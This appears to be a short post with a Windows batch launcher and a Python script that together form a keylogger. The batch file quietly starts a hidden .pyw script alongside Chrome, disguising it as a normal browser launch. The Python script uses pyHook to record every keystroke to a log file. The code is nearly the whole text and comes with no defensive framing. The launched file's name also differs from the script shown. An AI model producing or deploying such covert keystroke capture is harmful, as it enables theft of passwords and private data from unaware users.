Batch file which opens the browser with changed path. Python file pumps the message and create a new file.

launch.bat

@echo off
start "" "G:\ethical using python\secret_file.pyw"
start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

py_file.py

import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\log.txt'

def OnKeyboardEvent (event) :
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()